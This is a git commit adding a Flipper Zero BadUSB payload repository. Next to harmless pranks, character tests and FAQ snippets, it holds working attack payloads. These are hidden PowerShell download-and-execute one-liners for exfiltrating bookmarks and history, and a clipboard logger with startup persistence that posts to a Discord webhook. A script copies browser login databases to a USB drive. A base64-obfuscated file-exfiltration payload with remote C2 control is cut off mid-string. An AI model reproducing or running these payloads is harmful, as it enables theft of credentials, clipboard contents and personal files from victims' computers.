commit ab68519384144b9f98b057dca03d024808543650
Author: aaron Welcome to the Executions Folder!
+
+
+
+
+
+
+Table of Contents
+
+
+📱 My Socials 📱
+
+
+
+
+
+
+
+
+
+
+## Acknowledgments
+
+* [Hak5](https://hak5.org/)
+* [I-Am-Jakoby](https://github.com/I-Am-Jakoby)
+
+
diff --git a/badusb/Bookmark-Hog/payload.txt b/badusb/Bookmark-Hog/payload.txt
new file mode 100644
index 0000000..17ce970
--- /dev/null
+++ b/badusb/Bookmark-Hog/payload.txt
@@ -0,0 +1,16 @@
+REM Title: Bookmark-Hog
+
+REM Author: atomiczsec
+
+REM Description: This payload is meant to exfiltrate bookmarks to the rubber ducky
+
+REM Target: Windows 10, 11
+
+DELAY 2000
+GUI r
+DELAY 500
+STRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> dl=1; iex $pl
+ENTER
+
+REM Remember to replace the link with your DropBox shared link for the intended file to download
+REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1
diff --git a/badusb/CYE_Was_Here.txt b/badusb/CYE_Was_Here.txt
new file mode 100644
index 0000000..9a628a9
--- /dev/null
+++ b/badusb/CYE_Was_Here.txt
@@ -0,0 +1,23 @@
+DELAY 2000
+GUI r
+DELAY 500
+STRING notepad
+DELAY 250
+ENTER
+DELAY 500
+ENTER
+STRING ______ __ _
+ENTER
+STRING / ____/_ _____ ____ ___ ____ / /_(_) _____
+ENTER
+STRING / / / / / / _ \/ __ '__ \/ __ \/ __/ / | / / _ \
+ENTER
+STRING / /___/ /_/ / __/ / / / / / /_/ / /_/ /| |/ / __/
+ENTER
+STRING \____/\__ /\___/_/ /_/ /_/ ____/\__/_/ |___/\___/
+ENTER
+STRING /___/ /_/
+ENTER
+ENTER
+STRING WAS HERE...
+ENTER
\ No newline at end of file
diff --git a/badusb/Char_Test.txt b/badusb/Char_Test.txt
new file mode 100644
index 0000000..9b60056
--- /dev/null
+++ b/badusb/Char_Test.txt
@@ -0,0 +1,80 @@
+REM BadUSB Character Test File
+REM Designed by UberGuidoZ
+REM https://github.com/UberGuidoZ/Flipper
+REM
+DELAY 2000
+GUI r
+DELAY 1000
+STRING notepad
+DELAY 500
+ENTER
+DELAY 1500
+STRING ; Semicolon
+DELAY 250
+ENTER
+DELAY 250
+STRING , Comma
+DELAY 250
+ENTER
+DELAY 250
+STRING < Less than
+DELAY 250
+ENTER
+DELAY 250
+STRING > Greater than
+DELAY 250
+ENTER
+DELAY 250
+STRING . Period
+DELAY 250
+ENTER
+DELAY 250
+STRING ? Question mark
+DELAY 250
+ENTER
+DELAY 250
+STRING / Forward slash
+DELAY 250
+ENTER
+DELAY 250
+STRING \ Backslash
+DELAY 250
+ENTER
+DELAY 250
+STRING [ Left bracket
+DELAY 250
+ENTER
+DELAY 250
+STRING ] Right bracket
+DELAY 250
+ENTER
+DELAY 250
+STRING * Asterisk
+DELAY 250
+ENTER
+DELAY 250
+STRING ( Left parentheses
+DELAY 250
+ENTER
+DELAY 250
+STRING ) Right parentheses
+DELAY 250
+ENTER
+DELAY 250
+STRING | Pipe
+DELAY 250
+ENTER
+DELAY 250
+STRING ~ Tilde
+DELAY 250
+ENTER
+DELAY 250
+ENTER
+STRING Done for now! (Created by UberGuidoZ)
+DELAY 250
+ENTER
+DELAY 250
+STRING https://github.com/UberGuidoZ/Flipper
+DELAY 250
+ENTER
+DELAY 250
diff --git a/badusb/Char_Test_ALTSTRING.txt b/badusb/Char_Test_ALTSTRING.txt
new file mode 100644
index 0000000..c86de22
--- /dev/null
+++ b/badusb/Char_Test_ALTSTRING.txt
@@ -0,0 +1,84 @@
+REM Altstring Test for special characters
+REM By EJRicketts
+REM
+DELAY 2000
+GUI r
+DELAY 1000
+STRING notepad
+DELAY 500
+ENTER
+DELAY 1500
+ALTSTRING ;
+STRING Semicolon
+DELAY 250
+ENTER
+DELAY 250
+ALTSTRING ,
+STRING Comma
+DELAY 250
+ENTER
+DELAY 250
+ALTSTRING <
+STRING Less than
+DELAY 250
+ENTER
+DELAY 250
+ALTSTRING >
+STRING Greater than
+DELAY 250
+ENTER
+DELAY 250
+ALTSTRING .
+STRING Period
+DELAY 250
+ENTER
+DELAY 250
+ALTSTRING ?
+STRING Question mark
+DELAY 250
+ENTER
+DELAY 250
+ALTSTRING /
+STRING Forward slash
+DELAY 250
+ENTER
+DELAY 250
+ALTSTRING \
+STRING Backslash
+DELAY 250
+ENTER
+DELAY 250
+ALTSTRING [
+STRING Left bracket
+DELAY 250
+ENTER
+DELAY 250
+ALTSTRING ]
+STRING Right bracket
+DELAY 250
+ENTER
+DELAY 250
+ALTSTRING *
+STRING Asterisk
+DELAY 250
+ENTER
+DELAY 250
+ALTSTRING (
+STRING Left parentheses
+DELAY 250
+ENTER
+DELAY 250
+ALTSTRING )
+STRING Right parentheses
+DELAY 250
+ENTER
+DELAY 250
+ALTSTRING |
+STRING Pipe
+DELAY 250
+ENTER
+DELAY 250
+ALTSTRING ~
+STRING Tilde
+DELAY 250
+ENTER
\ No newline at end of file
diff --git a/badusb/Cookie-Stealer.txt b/badusb/Cookie-Stealer.txt
new file mode 100644
index 0000000..f64e788
--- /dev/null
+++ b/badusb/Cookie-Stealer.txt
@@ -0,0 +1,3 @@
+Not working, removed for now.
+
+SEE: https://github.com/UberGuidoZ/Flipper/commit/50a8e1cbe43de86924e3ee8715dfc6676272e020
diff --git a/badusb/Copy-And-Waste/I.bat b/badusb/Copy-And-Waste/I.bat
new file mode 100644
index 0000000..665c9be
--- /dev/null
+++ b/badusb/Copy-And-Waste/I.bat
@@ -0,0 +1,3 @@
+@echo off
+powershell -Command "& {cd "$env:userprofile\AppData\Roaming"; powershell -w h -NoP -NonI -Ep Bypass -File "c.ps1"}"
+pause
diff --git a/badusb/Copy-And-Waste/README.md b/badusb/Copy-And-Waste/README.md
new file mode 100644
index 0000000..93c4db2
--- /dev/null
+++ b/badusb/Copy-And-Waste/README.md
@@ -0,0 +1,119 @@
+
+
+
+
+
+
+
+
+
+Table of Contents
+
+
+📱 My Socials 📱
+
+
+
+
+
+
+
+
+
+
+## Acknowledgments
+
+* [Hak5](https://hak5.org/)
+* [I-Am-Jakoby](https://github.com/I-Am-Jakoby)
+
+
diff --git a/badusb/Copy-And-Waste/c.ps1 b/badusb/Copy-And-Waste/c.ps1
new file mode 100644
index 0000000..0215ae3
--- /dev/null
+++ b/badusb/Copy-And-Waste/c.ps1
@@ -0,0 +1,36 @@
+Add-Type -AssemblyName WindowsBase
+Add-Type -AssemblyName PresentationCore
+
+function dischat {
+
+ [CmdletBinding()]
+ param (
+ [Parameter (Position=0,Mandatory = $True)]
+ [string]$con
+ )
+
+ $hookUrl = 'YOUR DISCORD WEBHOOK'
+
+$Body = @{
+ 'username' = $env:username
+ 'content' = $con
+}
+
+
+Invoke-RestMethod -Uri $hookUrl -Method 'post' -Body $Body
+
+}
+
+
+dischat (get-clipboard)
+
+while (1){
+ $Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
+ $Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::RightCtrl)
+ $cKey = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::c)
+ $xKey = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::x)
+
+ if (($Lctrl -or $Rctrl) -and ($xKey -or $cKey)) {dischat (Get-Clipboard)}
+ elseif ($Rctrl -and $Lctrl) {dischat "---------connection lost----------";exit}
+ else {continue}
+}
\ No newline at end of file
diff --git a/badusb/Copy-And-Waste/payload.txt b/badusb/Copy-And-Waste/payload.txt
new file mode 100644
index 0000000..7d58a6a
--- /dev/null
+++ b/badusb/Copy-And-Waste/payload.txt
@@ -0,0 +1,17 @@
+REM Title: Copy-And-Waste
+
+REM Author: atomiczsec & I am Jakoby
+
+REM Description: This payload is meant to exfiltrate whatever is copied to the clipboard and sends to a discord webhook
+
+REM Target: Windows 10, 11
+
+DELAY 2000
+GUI r
+DELAY 200
+STRING powershell -w h -NoP -NonI -Ep Bypass "echo (iwr PASTEBIN LINK FOR BAT).content > "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\l.bat";echo (iwr PASTEBIN LINK FOR PS1).content > "$env:APPDATA\c.ps1";powershell "$env:APPDATA\c.ps1""
+ENTER
+
+REM Remember to replace the link with your pastebin shared link for the intended files to download
+REM Also remember to put in your discord webhook in c.ps1
+REM For the PASTEBIN LINK's do not put https:// infront of it, it should look like pastebin.com/raw/BLAHBLAHBLAH
diff --git a/badusb/Copy-And-Waste/placeholder b/badusb/Copy-And-Waste/placeholder
new file mode 100644
index 0000000..8b13789
--- /dev/null
+++ b/badusb/Copy-And-Waste/placeholder
@@ -0,0 +1 @@
+
diff --git a/badusb/Credential_Harvester_MarkCyber.txt b/badusb/Credential_Harvester_MarkCyber.txt
new file mode 100644
index 0000000..f57ecd8
--- /dev/null
+++ b/badusb/Credential_Harvester_MarkCyber.txt
@@ -0,0 +1,62 @@
+REM This script was created by github.com/MarkCyber
+REM Harvests all credentials from chrome, edge, and firefox
+REM This script requires a secondary USB named "MYUSB" to save credentials to
+REM The extracted data will require decryption
+REM
+REM Set delay for Flipper Zero
+DELAY 1000
+REM
+REM Open PowerShell without elevated privileges
+GUI r
+DELAY 500
+STRING powershell
+DELAY 500
+ENTER
+DELAY 1000
+REM
+REM Check if the USB drive exists
+STRING $usbDrive = Get-WmiObject Win32_Volume | ? { $_.Label -eq 'MYUSB' } | Select -ExpandProperty DriveLetter;
+STRING if ($usbDrive -ne $null) {
+ENTER
+DELAY 500
+STRING cd $usbDrive;
+ENTER
+DELAY 500
+STRING mkdir BrowserData;
+ENTER
+DELAY 500
+STRING cd BrowserData;
+ENTER
+DELAY 500
+REM
+REM Copy Chrome Login Data to USB
+STRING $chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data";
+STRING if (Test-Path $chromePath) { Copy-Item $chromePath "$usbDrive\BrowserData\ChromeLoginData"; }
+ENTER
+DELAY 500
+REM
+REM Copy Firefox Login Data to USB
+STRING $firefoxPath = "$env:APPDATA\Mozilla\Firefox\Profiles\";
+STRING if (Test-Path $firefoxPath) { Copy-Item $firefoxPath -Recurse "$usbDrive\BrowserData\FirefoxData"; }
+ENTER
+DELAY 500
+REM
+REM Copy Edge Login Data to USB
+STRING $edgePath = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data";
+STRING if (Test-Path $edgePath) { Copy-Item $edgePath "$usbDrive\BrowserData\EdgeLoginData"; }
+ENTER
+DELAY 500
+STRING }
+ENTER
+DELAY 500
+REM
+REM Clear the clipboard to remove any sensitive data (This is not necessary, unless you did something on targetPC)
+STRING echo off | clip
+ENTER
+DELAY 500
+REM
+REM Close PowerShell
+STRING exit
+ENTER
+DELAY 500
+REM Check out my other badusb scripts on github.com/MarkCyber
diff --git a/badusb/Discord_FAQ/HW_Trouble.txt b/badusb/Discord_FAQ/HW_Trouble.txt
new file mode 100644
index 0000000..d10080a
--- /dev/null
+++ b/badusb/Discord_FAQ/HW_Trouble.txt
@@ -0,0 +1,4 @@
+REM Hardware Troubleshooting
+STRING This may help with some of your questions. https://github.com/UberGuidoZ/Flipper/tree/main/Hardware_Troubleshooting
+DELAY 100
+ENTER
\ No newline at end of file
diff --git a/badusb/Discord_FAQ/My_Flip_Repo.txt b/badusb/Discord_FAQ/My_Flip_Repo.txt
new file mode 100644
index 0000000..e8f7f05
--- /dev/null
+++ b/badusb/Discord_FAQ/My_Flip_Repo.txt
@@ -0,0 +1,11 @@
+STRING You can grab a ton of helpful files or find useful info over here!
+DELAY 100
+SHIFT ENTER
+DELAY 250
+STRING https://github.com/UberGuidoZ/Flipper
+DELAY 100
+SHIFT ENTER
+DELAY 250
+STRING Make sure you view and understand the ReadMe files as they have important info.
+DELAY 100
+ENTER
\ No newline at end of file
diff --git a/badusb/Discord_FAQ/Newbie_Guide.txt b/badusb/Discord_FAQ/Newbie_Guide.txt
new file mode 100644
index 0000000..101a7e5
--- /dev/null
+++ b/badusb/Discord_FAQ/Newbie_Guide.txt
@@ -0,0 +1,4 @@
+REM Link to newbie guide (Discord)
+STRING This may help with some of your questions. https://discord.com/channels/740930220399525928/995390495415095296
+DELAY 100
+ENTER
\ No newline at end of file
diff --git a/badusb/Discord_FAQ/RM_FW_DL.txt b/badusb/Discord_FAQ/RM_FW_DL.txt
new file mode 100644
index 0000000..f7135e1
--- /dev/null
+++ b/badusb/Discord_FAQ/RM_FW_DL.txt
@@ -0,0 +1,9 @@
+STRING You can always download RogueMaster's latest release over here!
+DELAY 100
+SHIFT ENTER
+DELAY 250
+STRING https://github.com/RogueMaster/flipperzero-firmware-wPlugins/releases
+DELAY 100
+SHIFT ENTER
+DELAY 250
+STRING Make sure you view and understand the ReadMe as it has important info.
\ No newline at end of file
diff --git a/badusb/Discord_FAQ/ReadMe.md b/badusb/Discord_FAQ/ReadMe.md
new file mode 100644
index 0000000..9cabc95
--- /dev/null
+++ b/badusb/Discord_FAQ/ReadMe.md
@@ -0,0 +1,24 @@
+Some quick responses to common questions so Flipper can answer the questions!
+
+-----
+
+## Donation Information
+
+Nothing is ever expected for the hoarding of digital files, creations I have made, or the people I may have helped.
+
+## Ordering from Lab401? [USE THIS LINK FOR 5% OFF!](https://lab401.com/r?id=vsmgoc) (Or code `UberGuidoZ` at checkout.)
+
+I've had so many asking for me to add this.
+![Flipper_Blush](https://user-images.githubusercontent.com/57457139/183561666-4424a3cc-679b-4016-a368-24f7e7ad0a88.jpg) ![Flipper_Love](https://user-images.githubusercontent.com/57457139/183561692-381d37bd-264f-4c88-8877-e58d60d9be6e.jpg)
+
+**BTC**: `3AWgaL3FxquakP15ZVDxr8q8xVTc5Q75dS`
+**BCH**: `17nWCvf2YPMZ3F3H1seX8T149Z9E3BMKXk`
+**ETH**: `0x0f0003fCB0bD9355Ad7B124c30b9F3D860D5E191`
+**LTC**: `M8Ujk52U27bkm1ksiWUyteL8b3rRQVMke2`
+**PayPal**: `uberguidoz@gmail.com`
+
+So, here it is. All donations of *any* size are humbly appreciated.
+![Flipper_Clap](https://user-images.githubusercontent.com/57457139/183561789-2e853ede-8ef7-41e8-a67c-716225177e5d.jpg) ![Flipper_OMG](https://user-images.githubusercontent.com/57457139/183561787-e21bdc1e-b316-4e67-b327-5129503d0313.jpg)
+
+Donations will be used for hardware (and maybe caffeine) to further testing!
+![UberGuidoZ](https://cdn.discordapp.com/emojis/1000632669622767686.gif)
\ No newline at end of file
diff --git a/badusb/DuckyScript_UDL/ReadMe.md b/badusb/DuckyScript_UDL/ReadMe.md
new file mode 100644
index 0000000..658c365
--- /dev/null
+++ b/badusb/DuckyScript_UDL/ReadMe.md
@@ -0,0 +1,35 @@
+## Created and provided by B33m0 (via Discord)
+
+TO INSTALL
+
+Extract the ZIP if, needed.
+
+From the Notepad++ main window, go to Language -> Define your language...
+From there, click on "import" and navigate to the folder where the [userDefineLang.xml](https://github.com/UberGuidoZ/Flipper/blob/main/BadUSB/DuckyScript_UDL/userDefineLang.xml) is stored.
+
+Double-click on the xml file to open it. Finally click on Save-As and name the style "DuckyScript" or similar.
+
+The default duckyscript file extension is '.duck'.
+
+-----
+
+## Donation Information
+
+Nothing is ever expected for the hoarding of digital files, creations I have made, or the people I may have helped.
+
+## Ordering from Lab401? [USE THIS LINK FOR 5% OFF!](https://lab401.com/r?id=vsmgoc) (Or code `UberGuidoZ` at checkout.)
+
+I've had so many asking for me to add this.
+![Flipper_Blush](https://user-images.githubusercontent.com/57457139/183561666-4424a3cc-679b-4016-a368-24f7e7ad0a88.jpg) ![Flipper_Love](https://user-images.githubusercontent.com/57457139/183561692-381d37bd-264f-4c88-8877-e58d60d9be6e.jpg)
+
+**BTC**: `3AWgaL3FxquakP15ZVDxr8q8xVTc5Q75dS`
+**BCH**: `17nWCvf2YPMZ3F3H1seX8T149Z9E3BMKXk`
+**ETH**: `0x0f0003fCB0bD9355Ad7B124c30b9F3D860D5E191`
+**LTC**: `M8Ujk52U27bkm1ksiWUyteL8b3rRQVMke2`
+**PayPal**: `uberguidoz@gmail.com`
+
+So, here it is. All donations of *any* size are humbly appreciated.
+![Flipper_Clap](https://user-images.githubusercontent.com/57457139/183561789-2e853ede-8ef7-41e8-a67c-716225177e5d.jpg) ![Flipper_OMG](https://user-images.githubusercontent.com/57457139/183561787-e21bdc1e-b316-4e67-b327-5129503d0313.jpg)
+
+Donations will be used for hardware (and maybe caffeine) to further testing!
+![UberGuidoZ](https://cdn.discordapp.com/emojis/1000632669622767686.gif)
\ No newline at end of file
diff --git a/badusb/DuckyScript_UDL/userDefineLang.xml b/badusb/DuckyScript_UDL/userDefineLang.xml
new file mode 100644
index 0000000..d196c55
--- /dev/null
+++ b/badusb/DuckyScript_UDL/userDefineLang.xml
@@ -0,0 +1,64 @@
+
+
+
+
+
+
+
+Table of Contents
+
+
+📱 My Socials 📱
+
+
+
+
+
+
+
+
+
+
+## Acknowledgments
+
+* [Hak5](https://hak5.org/)
+* [I-Am-Jakoby](https://github.com/I-Am-Jakoby)
+
+
diff --git a/badusb/History-Pig/payload.txt b/badusb/History-Pig/payload.txt
new file mode 100644
index 0000000..91224b2
--- /dev/null
+++ b/badusb/History-Pig/payload.txt
@@ -0,0 +1,16 @@
+REM Title: History-Pig
+
+REM Author: atomiczsec
+
+REM Description: This payload is meant to exfiltrate browsers history to a dropbox
+
+REM Target: Windows 10, 11
+
+DELAY 2000
+GUI r
+DELAY 500
+STRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> dl=1; iex $pl
+ENTER
+
+REM Remember to replace the link with your DropBox shared link for the intended file to download
+REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1
diff --git a/badusb/Honk.txt b/badusb/Honk.txt
new file mode 100644
index 0000000..ef44d62
--- /dev/null
+++ b/badusb/Honk.txt
@@ -0,0 +1,17 @@
+REM Title: Desktop Goose
+REM Author: FalsePhilosopher
+REM Target: Windows 10+
+REM Props: Hak5, https://samperson.itch.io/desktop-goose for the honks,Jakoby for some PS bits I used from ADV-Rickroll https://github.com/I-Am-Jakoby, 3ctOs for the PS bits I used https://github.com/3ct0s/badusb-download-execute-disable-windows-defender and memes
+REM Version: 1.0
+REM Category: Prank
+REM Downloads and lets loose THE GOOSE!He'll nab your mouse, track mud on your screen... leave you a message, deliver you memes?
+REM
+REM startup delay
+DELAY 300
+GUI r
+DELAY 500
+STRING powershell
+ENTER
+DELAY 2000
+STRING powershell -w h ($Z="$env:TMP"+'\dg.zip');$D="$env:TMP"+'\dg';curl https://github.com/UberGuidoZ/FalsePhilosopher-BadUSB-Playground/raw/89f0c34e05fbf9926d6524b154d9d7be99763665/Ducky/USBRubberducky/library/prank/Win/Desktop_Goose/dg.zip -O $Z;Expand-Archive $Z -DestinationPath $D\ -Force;$file="$env:TMP"+'\dg\GooseDesktop.exe';$exec=New-Object -com shell.application;$exec.shellexecute($file);exit
+ENTER
diff --git a/badusb/InfoSecREDD_Payloads/C2-Data-Exfil-Discord.txt b/badusb/InfoSecREDD_Payloads/C2-Data-Exfil-Discord.txt
new file mode 100644
index 0000000..0e402b4
--- /dev/null
+++ b/badusb/InfoSecREDD_Payloads/C2-Data-Exfil-Discord.txt
@@ -0,0 +1,29 @@
+REM Title: C2 Data Exfiltration with File Splitter w Discord Webhook
+REM Description: Finds all specified filetypes and zips them into a file and sends
+REM to Discord Webhook. If the zip file is too large, split and send in chunks.
+REM Supports 7zip filecombining. C2 is used to IDLE and ACTIVATE and KILL the
+REM payload remotely. C2 File must be hosted on GitHub unless you know how to
+REM modify the source. UberGuidoz and REDD (InfoSecREDD) are NOT responsible for
+REM the misuse of this payload.
+REM AUTHOR: InfoSecREDD
+REM Version: 1.4.2
+REM Category: Exfiltration (REMOTE)
+REM Compatibility: Flipper Zero AND DuckyScript Devices
+REM Target: Windows
+
+REM To use on Flipper Zero REM the DUCKY_LANG US from line below
+REM DUCKY_LANG US
+DELAY 2000
+GUI r
+DELAY 500
+STRING powershell
+ENTER
+DELAY 2000
+REM Put your webhook below.
+STRING $webhook = "DiscordWebhookHere";
+REM C2 file must be hosted at GitHub unless you can edit the file. 1 = ON and 0 = OFF
+STRING $ccontrol = "C2FileHere";
+REM Put it all together now..
+STRING $TempFile = "$env:TEMP\temp.ps1"; $File = "$env:TEMP\l.ps1"; echo IyBUaXRsZTogRGF0YSBFeGZpbHRyYXRpb24gLSBEaXNjb3JkDQojIERlc2NyaXB0aW9uOiBEYXRhIEV4ZmlsdHJhdGlvbiB0byBEaXNjb3JkIFdlYmhvb2sgd2l0aCBGaWxlIFNwbGl0dGVyLg0KIyBBVVRIT1I6IEluZm9TZWNSRUREDQojIFZlcnNpb246IDEuNC4yDQojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEludGVybmFsIFBheWxvYWQgSW5mb3JtYXRpb24NCg0KJGF1dGhvciA9ICJJbmZvU2VjUkVERCINCiRjb2RlbmFtZSA9ICJFeGVjdXRpb25lciINCiRpbnRfZGVzYyA9ICJEb250IHBhbmljIHdoZW4gaGVsbCBicmVha3MgbG9vc2UgYW5kIHdlIGFsbCBkaWUuIg0KJGhvc3RlZCA9ICJyYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tIg0KDQojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFdyYXBwZXIgZm9yIFJFUEcgUmVwbyAtIFRvIGhlbHAgY2F0Y2ggaW5wcm9wZXIgdmFyaWFibGVzLiBETyBOT1QgVE9VQ0ggLSBNaWdodCBicmVhay4NCmlmICggJGNjb250cm9sIC1lcSAiQzJGaWxlSGVyZSIgLU9yICR3ZWJob29rIC1lcSAnJykgeyAkY2NvbnRyb2wgPSAiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0luZm9TZWNSRUREL2svbWFpbi9BUzlraEMzayIgfQ0KaWYgKCAkd2ViaG9vayAtZXEgIkRpc2NvcmRXZWJob29rSGVyZSIgLU9yICR3ZWJob29rIC1lcSAnJyApIHsgV3JpdGUtSG9zdCAiSW52YWxpZCBXZWJob29rLiBFeGl0aW5nIHRvIHByZXZlbnQgcHJvY2VzcyBmcm9tIHN0YXlpbmcgYWxpdmUuIjsgZXhpdCAxO30NCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgJHdlYmhvb2sgPSANCiMgJGNjb250cm9sID0NCg0KJHN0b3BEZWZlbmRlciA9ICJrIg0KJFJBTiA9IC1qb2luICgoNjUuLjkwKSArICg5Ny4uMTIyKSB8IEdldC1SYW5kb20gLUNvdW50IDggfCAlIHtbY2hhcl0kX30pDQokaW5pdFJhdyA9ICRpbnRfZGVzYyB8IE91dC1TdHJpbmcNCiRpbml0MlJhdyA9ICRjb2RlbmFtZSB8IE91dC1TdHJpbmcNCiRpbml0WCA9ICRhdXRob3INCiRhID0gJy8nDQokaiA9ICc6Jw0KJGRpcl9uYW1lID0gIiRSQU4iDQokZlJBTiA9ICJGa2pqRTM5c2sxayINCiR6ID0gJGluaXRSYXcuU3Vic3RyaW5nKDEyLDEpDQokeCA9ICRpbml0MlJhdy5TdWJzdHJpbmcoNSwxKQ0KJHkgPSAkaW5pdFJhdy5TdWJzdHJpbmcoNSwxKQ0KJHcgPSAkaW5pdFJhdy5TdWJzdHJpbmcoMjUsMSkNCiRwYXRoID0gIiRlbnY6dGVtcFwkZGlyX25hbWUiDQppZiAoIShUZXN0LVBhdGggIiRwYXRoIikpIA0Kew0KICBOZXctSXRlbSAiJHBhdGgiIC1JdGVtVHlwZSBEaXJlY3RvcnkgPiRudWxsIDI+JjENCn0NClNldC1Mb2NhdGlvbiAiJHBhdGgiDQpQdXNoLUxvY2F0aW9uICIkcGF0aCINCiRxID0gJGZSQU4NCiRleGZpbGZpbGVsaXN0ID0gImxpc3Rfb2ZfYWxsX2ZpbGVfbG9jYXRpb25zLnR4dCINCiRleGZpbGZvbGRlcnMgPSBAKCIkZW52OnVzZXJwcm9maWxlXERlc2t0b3AiLCIkZW52OnVzZXJwcm9maWxlXFBpY3R1cmVzIiwiJGVudjp1c2VycHJvZmlsZVxEb2N1bWVudHMiLCIkZW52OnVzZXJwcm9maWxlXERvd25sb2FkcyIsIiRlbnY6TG9jYWxBcHBEYXRhIiwiJGVudjpBcHBEYXRhIiwiJGVudjpwdWJsaWMiKQ0KJGV4dHMgPSBAKCJsb2ciLCJkYiIsInR4dCIsImRvYyIsInBkZiIsImpwZyIsImpwZWciLCJwbmciLCJ3ZG9jIiwieGRvYyIsImNlciIsImtleSIsInhscyIsInhsc3giLCJjZmciLCJjb25mIiwid3BkIiwicmZ0IikNCiRmID0gJGhvc3RlZA0KJHppcGZpbGUgPSAiLnppcCINCmlmIChUZXN0LVBhdGggIiRwYXRoXCRleGZpbGZpbGVsaXN0IikNCnsNCiAgUmVtb3ZlLUl0ZW0gIiRwYXRoXCRleGZpbGZpbGVsaXN0IiAtRm9yY2UgPiRudWxsIDI+JjENCn0NCiRyID0gJGluaXRYDQpOZXctSXRlbSAtUGF0aCAiJHBhdGgiIC1OYW1lICIkZXhmaWxmaWxlbGlzdCIgLUl0ZW1UeXBlIEZpbGUgPiRudWxsIDI+JjENCiRzaG93Zm9sZGVycyA9ICIkZXhmaWxmb2xkZXJzIg0KJGsgPSAiJHN0b3BEZWZlbmRlci9tYWluIg0KJGZvcm1hdGZvbGRlcnMgPSAkc2hvd2ZvbGRlcnMucmVwbGFjZSgnICcsJw0KJykNCiRpbml0U3RhcnR1cCA9ICIkciRhJGskYSRxIg0KJGluaXRNc2cgPSBAew0KICAndXNlcm5hbWUnID0gIiRlbnY6Q29tcHV0ZXJOYW1lIg0KICAnY29udGVudCcgPSAiPiBTdGFydGluZyBEb2N1bWVudCBFeGZpbHRyYXRlLi4NCg0KYGBgYCBUYXJnZXQgRmlsZSBFeHRlbnNpb25zIDoNCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQokZXh0cyANCg0KICAgICBUYXJnZXQgRm9sZGVycyAgICAgOg0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiRmb3JtYXRmb2xkZXJzIGBgYGAiDQp9DQokaWRsZU1zZyA9IEB7DQogICd1c2VybmFtZScgPSAiJGVudjpDb21wdXRlck5hbWUiDQogICdjb250ZW50JyA9ICI+ICRlbnY6Q29tcHV0ZXJuYW1lIGlzIHJlYWR5IGFuZCBpcyBzaXR0aW5nIElkbGUuIg0KfQ0KJGtpbGxNc2cgPSBAew0KICAndXNlcm5hbWUnID0gIiRlbnY6Q29tcHV0ZXJOYW1lIg0KICAnY29udGVudCcgPSAiPiBHbG9iYWwgUmVtb3RlIEtpbGxzd2l0Y2ggRU5BQkxFRCENCj4gS0lMTElORyBTY3JpcHQgb24gJGVudjpDb21wdXRlcm5hbWUiDQp9DQokcCA9ICIkeiR4JHgkeSRqIg0KJGkgPSAnW0RsbEltcG9ydCgidXNlcjMyLmRsbCIpXSBwdWJsaWMgc3RhdGljIGV4dGVybiBib29sIFNob3dXaW5kb3coaW50IGhhbmRsZSwgaW50IHN0YXRlKTsnOw0KJERlZmF1bHRTdHIgPSAiJHAkYSRhJGYkYSINCmFkZC10eXBlIC1uYW1lIHdpbiAtbWVtYmVyICRpIC1uYW1lc3BhY2UgbmF0aXZlOw0KJGkgPSAiJERlZmF1bHRTdHIkaW5pdFN0YXJ0dXAiDQpbbmF0aXZlLndpbl06OlNob3dXaW5kb3coKFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2Vzc106OkdldEN1cnJlbnRQcm9jZXNzKCkgfCBHZXQtUHJvY2VzcykuTWFpbldpbmRvd0hhbmRsZSwgMCk7DQokZXhmaWxMaWIgPSAkaSB8IE91dC1TdHJpbmcNCg0KZnVuY3Rpb24gaU5ldENoayB7DQogICRMaWJMb2MgPSBbU3lzdGVtLk5ldC5XZWJSZXF1ZXN0XTo6Q3JlYXRlKCRleGZpbExpYikgDQogICRMaWJSZXMgPSAkTGliTG9jLkdldFJlc3BvbnNlKCkNCiAgJExpYlN0YXQgPSBbaW50XSRMaWJSZXMuU3RhdHVzQ29kZSANCiAgaWYgKCRMaWJTdGF0IC1lcSAyMDApDQogIHsNCiAgICByZXR1cm4gJHRydWU7DQogIH0gDQogIGVsc2UNCiAgew0KICAgIHJldHVybiAkZmFsc2U7DQogIH0NCn0NCiRpVmFsID0gKGlOZXRDaGspIHwgT3V0LVN0cmluZw0KSWYgKCAkaVZhbCA9ICJUcnVlIiApDQp7DQogICRDaGsgPSAoKEludm9rZS13ZWJyZXF1ZXN0IC1VUkkgIiRleGZpbExpYiIpLkNvbnRlbnQgfCBPdXQtU3RyaW5nKS5UcmltKCkNCn0gDQplbHNlDQp7DQogIFdyaXRlLUhvc3QgIkVSUk9SIDM6ICBDaGVjayBJbnRlcm5ldCBDb25uZWN0aW9uLiINCiAgZXhpdCAwDQp9DQoNCmZ1bmN0aW9uIGV4ZmlsIHsNCiAgU2V0LUxvY2F0aW9uICIkcG